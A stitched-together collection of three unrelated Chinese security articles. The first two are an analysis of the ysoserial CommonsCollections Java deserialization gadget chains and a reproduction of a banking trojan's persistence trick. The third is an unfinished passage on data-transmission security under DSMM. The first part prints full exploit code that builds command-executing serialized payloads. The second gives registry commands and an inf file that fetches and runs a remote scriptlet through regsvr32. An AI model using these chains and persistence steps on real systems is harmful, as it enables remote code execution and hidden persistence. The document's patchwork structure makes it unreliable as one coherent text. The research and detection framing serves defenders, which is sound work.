import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
import static sun.reflect.misc.FieldUtil.getField;
public class CommonCollection2Payload {
//    通过javassist动态创建类的时候需要用到这个类
    public static class StubTransletPayload extends AbstractTranslet implements Serializable {
        private static final long serialVersionUID = -5971610431559700674L;
        public void transform (DOM document, SerializationHandler[] handlers ) throws TransletException {}
        @Override
        public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler ) throws TransletException {}
    }
// 设置成员变量值
    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        Field field = null;
        try {
            //获取私有成员变量
            field = obj.getClass().getDeclaredField(fieldName);
            //获取私有成员变量访问权限
            Permit.setAccessible(field);
        }
        catch (NoSuchFieldException ex) {
            if (obj.getClass().getSuperclass() != null)
                field = getField(obj.getClass().getSuperclass(), fieldName);
        }
        field.set(obj, value);
    }
//  获取成员变量值得
    public static Object getFieldValue(final Object obj, final String fieldName) throws Exception {
        Field field = null;
        try {
            field = obj.getClass().getDeclaredField(fieldName);
            Permit.setAccessible(field);
        }
        catch (NoSuchFieldException ex) {
            if (obj.getClass().getSuperclass() != null)
                field = getField(obj.getClass().getSuperclass(), fieldName);
        }
        return field.get(obj);
    }
//  7u21反序列化漏洞恶意类生成函数
    public static Object createTemplatesImpl(String command) throws Exception{
        Object templates = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl").newInstance();
        // use template gadget class
        ClassPool pool = ClassPool.getDefault();
        final CtClass clazz = pool.get(StubTransletPayload.class.getName());
        String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
                command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +
                "\");";
        clazz.makeClassInitializer().insertAfter(cmd);
        clazz.setName("ysoserial.Pwner" + System.nanoTime());
        final byte[] classBytes = clazz.toBytecode();
        setFieldValue(templates, "_bytecodes", new byte[][] {
                classBytes});
        // required to make TemplatesImpl happy
        setFieldValue(templates, "_name", "Pwnr");
        setFieldValue(templates, "_tfactory", Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl").newInstance());
        return templates;
    }
    public static void main(String[] args) throws Exception {
        String command = "open /Applications/Calculator.app/";
        final Object templates = createTemplatesImpl(command);
        // payload中再次使用了InvokerTransformer,可见这个在3.2.2版本中被拉黑的类在4.0中反倒又可以用了
        //这个toString值只是个幌子,后面会通过setFieldValue把iMethodName的值改成newTransformer
        final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
        // payload中的核心代码模块,创建一个PriorityQueue对象,并将它的comparator设为包含恶意transformer对象的TransformingComparator
        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
        // 先设置为正常变量值,在后面通过setFieldValue来修改
        queue.add(1);
        queue.add(1);
        // 不再像第一个payload中一样直接去调用调出runtime的exec,而是通过调用TemplatesImpl类的newTransformer方法来实现RCE
        setFieldValue(transformer, "iMethodName", "newTransformer");
        final Object[] queueArray = (Object[]) getFieldValue(queue, "queue");
        queueArray[0] = templates;
        queueArray[1] = 1;
        FileOutputStream fos = new FileOutputStream("payload.ser");
        ObjectOutputStream oos = new ObjectOutputStream(fos);
        oos.writeObject(queue);
        oos.flush();
        oos.close();
        FileInputStream fis = new FileInputStream("payload.ser");
        ObjectInputStream ois = new ObjectInputStream(fis);
        Object newObj = ois.readObject();
        ois.close();
    }
}

这个payload和1在造成RCE的原理上有个不同是不再去依靠Runtime类的exec,而是使用了我们知名的7u21模块,关于7u21模块RCE的讲解,我们也不细谈,网上大把大把的分析,只需要明白一件事情,我们只要能调用包含恶意字节码的TemplatesImpl对象的利用链中的任意函数(getOutputProperties、newTransformer等等),就能造成RCE。

先去看调用链,

img5.jpg

反序列化时候调用PriorityQueue的readObject方法,并在函数最后调用heapify方法,

img6.jpg

heapify方法会把PriorityQueue的queue变量作为参数去调用siftDown方法

img7.jpg

只要有comparetor就会去调用siftDownUsingComparator方法

img8.jpg

调用comparator的compare方法,这个comparator就是我们传入的tranformer为恶意InvokerTransformer对象的TransformingComparator

img9.jpg

成功调用到恶意tranformer的tranform方法,并把恶意TemplatesImpl作为参数传入,剩下的不在去跟。

img10.jpg

关于4.0的补丁,和3.2.2的时候一模一样,就是把InvokerTransformer给拉黑了。

CommonsCollections3

适用版本:3.1-3.2.1,jdk7u21及以前

CommonsCollections3出现了一个我们在CommonsCollections1中没怎么见到过的InstantiateTransformer,先去看一下这个InstantiateTransformer的transform方法,

    public Object transform(Object input) {
        try {
            if (!(input instanceof Class)) {
                throw new FunctorException("InstantiateTransformer: Input object was not an instanceof Class, it was a " + (input == null ? "null object" : input.getClass().getName()));
            } else {
                Constructor con = ((Class)input).getConstructor(this.iParamTypes);
                return con.newInstance(this.iArgs);
            }
        }

简单来说这个transform方法的用处就是调用input参数的构造函数,并且这个类的两个成员变量就是传给构造函数的参数类型和参数值。其他的地方就和CommonsCollections1差不多了。

看一下代码,考虑到代码中用到的一些关键函数在前面两个payload里面已经给出了,所以接下来的代码里面我就只给出main函数代码了。

    public static void main(String[] args) throws Exception {
        String command = "open /Applications/Calculator.app/";
        Object templatesImpl = createTemplatesImpl(command);
        final Transformer transformerChain = new ChainedTransformer(
                new Transformer[]{ new ConstantTransformer(1) });
        final Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(
                        new Class[] { Templates.class },
                        new Object[] { templatesImpl } )};
        final Map innerMap = new HashMap();
        final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
        Map mapProxy = (Map) createMyproxy(getInvocationHandler(ANN_INV_HANDLER_CLASS, lazyMap), Map.class);
        InvocationHandler handler = getInvocationHandler(ANN_INV_HANDLER_CLASS, mapProxy);
        //这样的话,调用transformerChain的tranform方法就相当于调用TrAXFilter(templatesImpl)
        setFieldValue(transformerChain, "iTransformers", transformers);
        FileOutputStream fos = new FileOutputStream("payload.ser");
        ObjectOutputStream oos = new ObjectOutputStream(fos);
        oos.writeObject(handler);
        oos.flush();
        oos.close();
        FileInputStream fis = new FileInputStream("payload.ser");
        ObjectInputStream ois = new ObjectInputStream(fis);
        Object newObj = ois.readObject();
        ois.close();
    }

看一下调用栈,

img11.jpg

基本所有地方都和CommonsCollections1差不多,唯一的区别就在于循环调用的transformers变成了这个样子

 final Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(
                        new Class[] { Templates.class },
                        new Object[] { templatesImpl } )};

ConstantTransformer返回了TrAXFilter的对象给到InstantiateTransformer的tranform方法,最终调用TrAXFilter的构造函数,并把恶意的templatesImpl作为参数给到构造函数,

img12.jpg

看一下TrAXFilter的构造函数会去调用传入的恶意templatesImpl的newTransformer方法,正好符合我们的期望,造成RCE。

看一下3.2.2版本的修复补丁,和CommonsCollections1一样,就是把InstantiateTransformer类给拉黑了。

CommonsCollections4

适用版本:4.0,jdk7u21及以前

CommonsCollections4这个payload认真的说,完全没有任何新的东西,其实就是把CommonsCollections2和CommonsCollections3做了一个杂交。不过从中我们可以窥探到,其实不论是4.0版本还是3.1-3.2.1版本,利用的方法基本都是可以共通的。

看一下代码,

    public static void main(String[] args) throws Exception {
        String command = "open /Applications/Calculator.app/";
        Object templates = createTemplatesImpl(command);
        ConstantTransformer constant = new ConstantTransformer(String.class);
        Class[] paramTypes = new Class[] { String.class };
        Object[] str = new Object[] { "foo" };
        InstantiateTransformer instantiate = new InstantiateTransformer(
                paramTypes, str);
        paramTypes = (Class[]) getFieldValue(instantiate, "iParamTypes");
        str = (Object[]) getFieldValue(instantiate, "iArgs");
        ChainedTransformer chain = new ChainedTransformer(new Transformer[] { constant, instantiate });
        PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(chain));
        queue.add(1);
        queue.add(1);
        setFieldValue(constant, "iConstant", TrAXFilter.class);
        paramTypes[0] = Templates.class;
        str[0] = templates;
        FileOutputStream fos = new FileOutputStream("payload.ser");
        ObjectOutputStream oos = new ObjectOutputStream(fos);
        oos.writeObject(queue);
        oos.flush();
        oos.close();
        FileInputStream fis = new FileInputStream("payload.ser");
        ObjectInputStream ois = new ObjectInputStream(fis);
        Object newObj = ois.readObject();
        ois.close();
    }

看一下调用栈,

img13.jpg

代码在上面都是分析过的,简要的文字分析一下:反序列化的时候调用PriorityQueue的readObject方法,从而调用了TransformingComparator中恶意的ChainedTransformer对象的tranform方法,通过循环调用ChainedTransformer中iTransformer对象的tranform方法,进而调用TrAXFilter的构造方法,从而造成命令执行。

不过关于4.1版本的修复和3.2.2是存在不一样的地方的,3.2.2对于InstantiateTransformer类的处理是拉入黑名单,而4.1版本选择把InstantiateTransformer类的反序列化接口给删除了。

img14.jpg

CommonsCollections5

适用版本:3.1-3.2.1,jdk1.8(1.9没试)

CommonsCollections5和前面几个payload有些不太一样的地方,因为jdk在1.8之后对AnnotationInvocationHandler类做了限制,所以在jdk1.8版本就必须找出能替代AnnotationInvocationHandler的新的可以利用的类,所以BadAttributeValueExpException就被发掘了除了,我们直接根据代码来了解这个类,

public static void main(String[] args) throws Exception {
        String command = "open /Applications/Calculator.app/";
        final String[] execArgs = new String[] { command };
        final Transformer transformerChain = new ChainedTransformer(
                new Transformer[]{ new ConstantTransformer(1) });
        final Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {
                        String.class, Class[].class }, new Object[] {
                        "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {
                        Object.class, Object[].class }, new Object[] {
                        null, new Object[0] }),
                new InvokerTransformer("exec",
                        new Class[] { String.class }, execArgs),
                new ConstantTransformer(1) };
        final Map innerMap = new HashMap();
        //创建factory为恶意ChainedTransformer对象的lazyMap类实例
        final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
        //创建map为恶意lazyMap,key为foo的TiedMapEntry类实例
        TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
        //将BadAttributeValueExpException对象的成员变量val赋值为恶意entry
        BadAttributeValueExpException val = new BadAttributeValueExpException(null);
        Field valfield = val.getClass().getDeclaredField("val");
        Permit.setAccessible(valfield);
        valfield.set(val, entry);
        setFieldValue(transformerChain, "iTransformers", transformers);
        FileOutputStream fos = new FileOutputStream("payload.ser");
        ObjectOutputStream oos = new ObjectOutputStream(fos);
        oos.writeObject(val);
        oos.flush();
        oos.close();
        FileInputStream fis = new FileInputStream("payload.ser");
        ObjectInputStream ois = new ObjectInputStream(fis);
        Object newObj = ois.readObject();
        ois.close();
    }

这个利用链很简单,

img15.jpg

在BadAttributeValueExpException的readObject中,会调用它的成员变量val(也就是我们传入的恶意TiedMapEntry对象)的toString方法,

img16.jpg

在TiedMapEntry中会调用自身的getKey和getValue方法,

img17.jpg

在getValue方法中会调用成员变量map(也就是我们传入的恶意LazyMap对象)的get方法,

img18.jpg

接下来就和CommonsCollections1是一样的了,不再分析。

CommonsCollections在3.2.2版本的时候同样将BadAttributeValueExpException拉入了黑名单。

CommonsCollections6

适用版本:3.1-3.2.1,jdk1.7,1.8均可成功

CommonsCollections6是一个实用性比较广的payload,和上面五个payload相比,它的利用受jdk版本的影响是最小的,先看代码,

 public static void main(String[] args) throws Exception {
        String command = "open /Applications/Calculator.app/";
        final String[] execArgs = new String[] { command };
        final Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {
                        String.class, Class[].class }, new Object[] {
                        "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {
                        Object.class, Object[].class }, new Object[] {
                        null, new Object[0] }),
                new InvokerTransformer("exec",
                        new Class[] { String.class }, execArgs),
                new ConstantTransformer(1) };
        Transformer transformerChain = new ChainedTransformer(transformers);
        final Map innerMap = new HashMap();
//创建一个factory为恶意ChainedTransformer对象的lazyMap类实例
        final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
//创建一个map为恶意lazyMap类实例,key为foo的TiedMapEntry类实例
        TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
        HashSet map = new HashSet(1);
        map.add("foo");
        Field f = null;
        try {
            f = HashSet.class.getDeclaredField("map");
        } catch (NoSuchFieldException e) {
            f = HashSet.class.getDeclaredField("backingMap");
        }
//取出HashSet对象的成员变量map
        Permit.setAccessible(f);
        HashMap innimpl = (HashMap) f.get(map);
        Field f2 = null;
        try {
            f2 = HashMap.class.getDeclaredField("table");
        } catch (NoSuchFieldException e) {
            f2 = HashMap.class.getDeclaredField("elementData");
        }
//取出HashMap对象的成员变量table
        Permit.setAccessible(f2);
        Object[] array = (Object[]) f2.get(innimpl);
//取出table里面的第一个Entry
        Object node = array[0];
        if(node == null){
            node = array[1];
        }
        Field keyField = null;
        try{
            keyField = node.getClass().getDeclaredField("key");
        }catch(Exception e){
            keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
        }
//取出Entry对象重的key,并将它赋值为恶意的TiedMapEntry对象
        Permit.setAccessible(keyField);
        keyField.set(node, entry);
        FileOutputStream fos = new FileOutputStream("payload.ser");
        ObjectOutputStream oos = new ObjectOutputStream(fos);
        oos.writeObject(map);
        oos.flush();
        oos.close();
        FileInputStream fis = new FileInputStream("payload.ser");
        ObjectInputStream ois = new ObjectInputStream(fis);
        Object newObj = ois.readObject();
        ois.close();
    }

CommonsCollections6的代码是最可以体现出使用反射机制生成恶意对象的优势的代码,我们看一下上面payload中使用反射机制的代码

 HashSet map = new HashSet(1);
        map.add("foo");
        Field f = null;
        try {
            f = HashSet.class.getDeclaredField("map");
        } catch (NoSuchFieldException e) {
            f = HashSet.class.getDeclaredField("backingMap");
        }
//取出HashSet对象的成员变量map
        Permit.setAccessible(f);
        HashMap innimpl = (HashMap) f.get(map);
        Field f2 = null;
        try {
            f2 = HashMap.class.getDeclaredField("table");
        } catch (NoSuchFieldException e) {
            f2 = HashMap.class.getDeclaredField("elementData");
        }
//取出HashMap对象的成员变量table
        Permit.setAccessible(f2);
        Object[] array = (Object[]) f2.get(innimpl);
//取出table里面的第一个Entry
        Object node = array[0];
        if(node == null){
            node = array[1];
        }
        Field keyField = null;
        try{
            keyField = node.getClass().getDeclaredField("key");
        }catch(Exception e){
            keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
        }
//取出Entry对象重的key,并将它赋值为恶意的TiedMapEntry对象
        Permit.setAccessible(keyField);
        keyField.set(node, entry);

上面给出的这么一长串代码,其实如果不使用反射机制去生成恶意对象,只需要两行代码

        HashSet map = new HashSet(1);
        map.add(entry);

两个代码生成的map对象是一摸一样的对象,但是使用第二种方式,你会发现在反序列化的时候无法造成RCE(第二种同样会造成RCE但是是发生在map.add的时候而不是ois.readObject()的时候),原因就出在了lazyMap类的get函数处,

img19.jpg

触发RCE的关键就在于this.factory.transform(key),然而想走到这一步,需要一个条件:!this.map.containsKey(key),翻译一下就是加载的这个key之前未被get函数调用过,并且一旦调用过一次后,就会直接把这个key-value对放进this.map中,下次调用直接走else语句,而不会再去调用this.factory.transform(key)。

这样的话,当我们通过map.add(entry)的方式去生成恶意HashSet对象的时候,看一下add方法的调用栈

img20.jpg

add方法本身就会调用LazyMap的get方法,这样的话,我们需要造成RCE的map在还没进行反序列化的时候,就已经被put到this.map中去了,到了反序列化企图造成rce的时候,调用 LazyMap的get方法,不会再去走if语句而走到else里面去了,从而无法造成命令执行。

当然这种情况并不是无解的,我们可以将上述两行代码中做一下修改变成这种形式,

        HashSet map = new HashSet(1);
        map.add(entry);
        lazyMap.remove("foo");

就是记得把lazyMap中的this.map记得删除一下就完事了,也很简单~~~

现在我们去看一下使用反射机制生成恶意对象从而在反序列化后造成RCE的调用链,

img21.jpg

调用HashSet的readObject方法进行反序列化,将恶意的TiedMapEntry对象带入put函数,

img22.jpg

在put函数中会把恶意的TiedMapEntry对象放入hash函数中,

img23.jpg

在hash函数中调用了恶意的TiedMapEntry对象的hashCode函数

img24.jpg

在hashCode函数中会调用恶意的TiedMapEntry对象自身的getValue函数

img25.jpg

在getValue函数中调用this.map的get函数

img26.jpg

在get函数中调用恶意TiedMapEntry的恶意factory对象的tranform方法,从而造成rce,这里面可以看到这个时候this.map是空的,所以我们能成功进入到if语句中。

img27.jpg

因为这个payload也是用到了InvokerTransformer类的,所以修复方案和第一个payload是一样的。

CommonsCollections7

适用版本:3.1-3.2.1,jdk1.7,1.8均可成功

CommonsCollections7也是一个适用性比较好的payload,在多种版本jdk中都可以执行成功,它的坑点和CommonsCollections6都有着一定的相似性。可以窥探到当把lazyMap作为key传入到hashset或者hashtable的时候往往都会对lazyMap本身的map参数造成一定影响,而这种影响很容易导致rce的失败。

看一下代码,关键的两步我都在代码里面加上了注释,

    public static void main(String[] args) throws Exception {
        String command = "open /Applications/Calculator.app/";
        final String[] execArgs = new String[]{command};
        final Transformer transformerChain = new ChainedTransformer(new Transformer[]{});
        final Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",
                        new Class[]{String.class, Class[].class},
                        new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke",
                        new Class[]{Object.class, Object[].class},
                        new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec",
                        new Class[]{String.class},
                        execArgs),
                new ConstantTransformer(1)};
        Map innerMap1 = new HashMap();
        Map innerMap2 = new HashMap();
        Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
        lazyMap1.put("yy", 1);
        Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
        lazyMap2.put("zZ", 1);
        Hashtable hashtable = new Hashtable();
        hashtable.put(lazyMap1, 1);
        //开启调试模式去跟一下hashtable.put(lazyMap2, 2)这个代码执行后的变量变化,会发现会发现lazyMap2的map内多了一个 yy->yy的map
        hashtable.put(lazyMap2, 2);
        setFieldValue(transformerChain, "iTransformers", transformers);
        //这一步正是为了删除在hashtable.put(lazyMap2, 2)后lazyMap2中多出的那个yy->yy的map
        lazyMap2.remove("yy");
        FileOutputStream fos = new FileOutputStream("payload.ser");
        ObjectOutputStream oos = new ObjectOutputStream(fos);
        oos.writeObject(hashtable);
        oos.flush();
        oos.close();
        FileInputStream fis = new FileInputStream("payload.ser");
        ObjectInputStream ois = new ObjectInputStream(fis);
        Object newObj = ois.readObject();
        ois.close();
    }

这个代码的坑就在于当调用hashtable.put(lazyMap2, 2)的时候会因为put函数的一系列操作把lazyMap2变成了我们不期望的模样,

img28.jpg

可以看到lazyMap中的map多了一个yy->yy,其实一旦出现这种情况我们就知道肯定和lazyMap的get函数有关,打个断点看一下什么情况,

img29.jpg

遇到这种情况处理起来也很简单,lazyMap2.remove(“yy”)就完事了。

OK,明白了payload的生成代码,接下来我们就去看一下反序列化时候的利用链,

img30.jpg

在Hashtable的readObject方法中会把每个key-value往table里面丢,

img31.jpg

从往table中丢第二个map的时候,就需要开始让它的key和之前的key进行对比,看看有没有重复以决定是新添加一个map还是覆盖原有的,

img32.jpg

然后经过两个equals函数后自然而然的要去调用对于map的get函数以获取值,以做修改,于是就又来到了我们熟悉额lazyMap的get函数,从而调用tranform方法导致了RCE,

img33.jpg

总结

通过对ysoserial中关于CommonsCollection的七个利用方式的分析我们可以对可以利用的恶意类做一个总结:

四大Tranformer的tranform方法的作用

1.ChainedTransformer:循环调用成员变量iTransformers数组的中ransformer中的tranform方法。

2.InvokerTransformer: 通过反射的方法调用传入tranform方法中的inuput对象的方法(方法通过成员变量iMethodName设置,参数通过成员变量iParamTypes设置)

3.ConstantTransformer:返回成员变量iConstant的值。

4.InstantiateTransformer:通过反射的方法返回传入参数input的实力。(构造函数的参数通过成员变量iArgs传入,参数类型通过成员变量iParamTypes传入)

三大Map的作用

1.lazyMap:通过调用lazyMap的get方法可以触发它的成员变量factory的tranform方法,用来和上一节中的Tranformer配合使用。

2.TiedMapEntry:通过调用TiedMapEntry的getValue方法实现对他的成员变量map的get方法的调用,用来和lazyMap配合使用。

3.HashMap:通过调用HashMap的put方法实现对成员变量hashCode方法的调用,用来和TiedMapEntry配合使用(TiedMapEntry的hashCode函数会再去调自身的getValue)。

五大反序列化利用基类

1.AnnotationInvocationHandler:反序列化的时候会循环调用成员变量的get方法,用来和lazyMap配合使用。

2.PriorityQueue:反序列化的时候会调用TransformingComparator中的transformer的tranform方法,用来直接和Tranformer配合使用。

3.BadAttributeValueExpException:反序列化的时候会去调用成员变量val的toString函数,用来和TiedMapEntry配合使用。(TiedMapEntry的toString函数会再去调自身的getValue)。

4.HashSet:反序列化的时候会去循环调用自身map中的put方法,用来和HashMap配合使用。

5.Hashtable:当里面包含2个及以上的map的时候,回去循环调用map的get方法,用来和lazyMap配合使用。

*本文作者:[email protected]平安银行应用安全团队,转载请注明来自FreeBuf.COM

0x00 前言

Gootkit Banking Trojan在2014年被首次发现,最近Daniel Bunce(@ 0verfl0w_)介绍了一些对于Gootkit Banking Trojan的分析,文章地址如下:

https://www.sentinelone.com/blog/gootkit-banking-trojan-persistence-other-capabilities/

其中,Gootkit Banking Trojan使用的后门启动方法是独有的,所以本文仅在技术研究的角度复现Gootkit Banking Trojan使用的后门启动方法,分析利用思路,给出防御和检测的建议。

0x01 简介

本文将要介绍以下内容:

· 原理介绍

· inf文件的基础知识

· 复现后门启动方法

· 分析利用方法

· 检测和防御建议

0x02 原理介绍

explorer.exe在运行时会加载特定的组策略对象(GPO),其中包括Internet Explorer Administration Kit(IEAK)的GPO。

如果通过添加注册表的方式为IKAK创建一个Pending GPO,指向一个inf文件,那么在explorer.exe启动时,就会加载这个Pending GPO,执行inf文件中的内容。

这个方法的优点是不需要管理员权限。

0x03 inf文件的基础知识

inf全称Device INFormation File,是Microsoft为硬件设备制造商发布其驱动程序推出的一种文件格式。

对大小写不敏感。

文件格式:

由多个节组成,节名用方括号括起来。

值得注意的节:

1.Version节

inf文件都包含这个节,用来描述支持的设备类型和适用的操作系统。

signature="$CHICAGO$表示该inf文件适用于Windows98之后的所有操作系统。

signature="$Windows NT$"表示该inf文件适用于Windows 2000/XP/2003操作系统。

2.DefaultInstall节

默认情况下首先执行该节内的内容,通常包括文件拷贝、删除,注册表键值的更新,子键删除等功能,还支持执行命令:

· RunPreSetupCommands,本节中指定的命令在安装服务配置文件之前运行

· RunPostSetupCommands,本节中指定的命令在安装程序完成服务配置文件后运行

· RunPreUnInstCommands,本节中指定的命令在卸载程序开始之前运行

· RunPostUnInstCommands,本节中指定的命令在卸载程序运行后运行

参考资料:

https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-2000-server/cc939869(v=technet.10)#information-inf-file-entries

例如一个分别执行cmd命令和弹出计算器的test.inf文件示例:

[Version]
Signature="$CHICAGO$"
AdvancedINF=2.5,"advpack.dll"
[DefaultInstall]
RunPreSetupCommands=Command1
RunPostSetupCommands=Command2
[Command1]
C:\WINDOWS\SYSTEM32\calc.exe
[Command2]
C:\WINDOWS\SYSTEM32\cmd.exe

命令行下的启动方式:

rundll32.exe advpack.dll,LaunchINFSection test.inf,DefaultInstall

执行后先弹出计算器,关闭计算器后,再弹出cmd.exe。

0x04 后门启动方法复现

1.使用测试程序putty.exe,保存位置: c:\test\putty.exe

2.新建putty.inf,内容如下:

[Version]
Signature="$CHICAGO$"
AdvancedINF=2.5,"You need a new version of advpack.dll"

[DefaultInstall]
RunPreSetupCommands=Command1:2
[Command1]
c:\test\putty.exe

3.新建注册表项

· HKEY_CURRENT_USER\Software\Microsoft\Ieak\GroupPolicy\PendingGPOs,Count, REG_DWORD,1

· HKEY_CURRENT_USER\Software\Microsoft\Ieak\GroupPolicy\PendingGPOs,Path1,REG_SZ,"c:\test\test.inf"

· HKEY_CURRENT_USER\Software\Microsoft\Ieak\GroupPolicy\PendingGPOs,Section1,REG_SZ,"DefaultInstall"

注:原文中Section1的值为[DefaultInstall],经测试,此处存在bug,正确的值应该为DefaultInstall。

注册表设置如下图:

Alt text

4.重启系统

系统启动后执行putty.exe,复现成功。

注:系统重启后该注册表会被清除,为了保证下次重启系统时再次触发后门,需要再次修改注册表,添加对应的键值,可供参考的cmd命令如下:

reg add hkcu\SOFTWARE\Microsoft\IEAK\GroupPolicy\PendingGPOs /v Count /t REG_DWORD /d 1
reg add hkcu\SOFTWARE\Microsoft\IEAK\GroupPolicy\PendingGPOs /v Path1 /t REG_SZ /d "c:\test\test.inf"
reg add hkcu\SOFTWARE\Microsoft\IEAK\GroupPolicy\PendingGPOs /v Section1 /t REG_SZ /d "DefaultInstall"

0x05 方法优化

1.inf文件不需要同要启动的exe文件同名

inf文件名称可以任意,例如test.inf

注:原文描述需要inf文件同exe文件同名。

2.inf文件内容格式不固定

AdvancedINF=2.5,"You need a new version of advpack.dll"可修改为AdvancedINF=2.5,"11111111"

3.inf文件的payload不唯一

还可以实现文件拷贝、删除,注册表键值的更新,子键删除等功能。

如果是执行命令,可以同sct结合实现无文件落地,例如实现远程下载执行的文件内容如下:

[Version]
Signature="$CHICAGO$"
AdvancedINF=2.5,"advpack.dll"
[DefaultInstall]
RunPreSetupCommands=Command1
[Command1]
regsvr32 /u /s /i:https://raw.githubusercontent.com/3gstudent/SCTPersistence/master/calc.sct scrobj.dll

0x06 利用分析

优点如下:1.不需要管理员权限,只需要普通用户权限即可 2.payload扩展性高,同其他方法结合(如sct)可实现远程下载执行,不需要向硬盘写入文件。

0x07 检测和防御建议

监控注册表位置:HKEY_CURRENT_USER\Software\Microsoft\Ieak\GroupPolicy\PendingGPOs

默认配置下,系统不存在注册表项:HKEY_CURRENT_USER\Software\Microsoft\Ieak\GroupPolicy

注:修改注册表HKEY_LOCAL_MACHINE\Software\Microsoft\Ieak\GroupPolicy\PendingGPOs不会触发这个后门。

0x08 小结

本文复现了Gookit Banking Trojan中的后门启动方法,分析利用思路,给出防御和检测的建议。

此为DSMM的续篇…..

前段时间整理了DSMM的相关内容,分成了数据安全能力成熟度模型总结与交流、数据采集安全两部分。

DSMM开篇交流

DSMM数据采集过程安全

今天介绍DSMM另一阶段的具体内容——数据传输安全。

一、背景

在DSMM数据安全能力成熟度模型总结与交流一文中介绍了DSMM针对数据安全不同生命周期提出了不同的安全要求,数据安全生命周期分为采集、传输、存储、处理、交换、销毁。今天来聊一聊数据安全生命周期的第一个阶段——数据采集安全。

在第一篇文章中,我们讲述了DSMM分为5个成熟度等级分别为:非正式执行、计划跟踪、充分定义、量化控制、持续优化;安全能力的维度包括组织建设、制度流程、技术工具、人员能力。我们在落地执行的时候一般按照等级3即充分定义级进行相关的工作,因为在充分定义级里面完整的包含了安全能力维度的四个方面,而等级1和等级2是没有覆盖完全的,至于等级4和等级5就是进行一些量化细化和持续改进的,可以在DSMM体系建设完成后进行拔高。每个过程域都是按照这样的思路进行要求的,所以接下来介绍的数据传输安全过程的各过程域都是按照这个思路进行建设的。

二、定义

数据传输安全是对数据进行网络传输的安全的管理,这是数据安全重要的阶段,也是发生数据安全事件,如数据泄露、窃取、篡改等比较频繁的过程,所以该阶段的重要性不言而喻。该过程包含四个过程域,分别为:数据传输加密和网络可用性管理。

2.1数据传输加密

官方描述为根据组织机构内部和外部的数据传输要求,采用适当的加密保护措施,保证传输通道、传输节点和传输数据的安全,防止传输过程中数据被截取所引发的数据泄漏。

数据在通过不可信或者较低安全性的网络进行传输时,容易发生数据被窃取、伪造和篡改等安全风险,因此需要建立相关的安全防护措施,保障数据在传输过程中的安全性,而加密是保证数据安全的常用手段。

DSMM标准在充分定义级要求如下:

组织建设:

组织机构设立了管理数据加密、密钥管理的岗位和人员,负责整体的加密原则和技术工作,由各业务的技术团队负责实现具体场景下的数据传输加密。

在DSMM的要求中这个几乎都是一样的,每个过程域都需要指定专人和专岗负责该项工作,并能够胜任此工作。在实际工作中,可能所有的过程域在这个维度上都是同样的一个或多个人,可以单独任命,也可以在相应的制度章节中进行说明。

制度流程:

建立数据传输安全管理规范,明确数据传输安全要求(如传输通道加密、数据内容加密、签名验签、身份鉴别、数据传输接口安全等),确定需要对数据传输加密的场景。

建立密钥管理安全规范,明确密钥生成、分发、存取、更新、备份和销毁的流程和要求。

技术工具:

有对传输通道两端进行主体身份鉴别和认证的技术方案和工具。

有对传输数据加密的技术方案和工具,包括针对关键的数据传输通道统一部署传输通道加密方案(如采用TLS/SSL方式),及对传输数据内容进行加密。

有对传输数据的完整性进行检测并执行恢复控制的技术方案和工具。

有对数据传输安全策略的变更进行审核和监控的技术方案和工具,已部署对通道安全配置、密码算法配置、密钥管理等保护措施进行审核及监控的技术工具。

已建设密钥管理系统提供数据的加密解密、签名验签等功能,并实现对密钥的全生命周期(生成、存储、使用、分发、更新、销毁)的安全管理。

人员能力:

了解主流的安全通道和可信通道建立方案、身份鉴别和认证技术、数据加密算法和国家推荐的数据加密算法,基于具体业务场景选择合适的数据传输安全管理方式。

负责该项工作的人员了解数据加密的算法,并能够基于具体的业务场景选择合适的加密技术。

以下是在数据传输加密过程中具体落地应该重点关注的内容。

1. 建立数据传输安全管理规范,明确数据传输安全要求(如传输通道加密、数据内容加密、签名验签、身份鉴别、数据传输接口安全等),确定需要对数据传输加密的场景。

2. 需要加密的场景应该根据国家法律法规要求、行业监管部门要求及单位自身业务数据的保密性和完整性要求。结合数据分类分级的内容,通常包括但不限于系统管理数据、鉴别信息、重要业务数据和重要个人隐私等完整性和保密性要求高的数据。

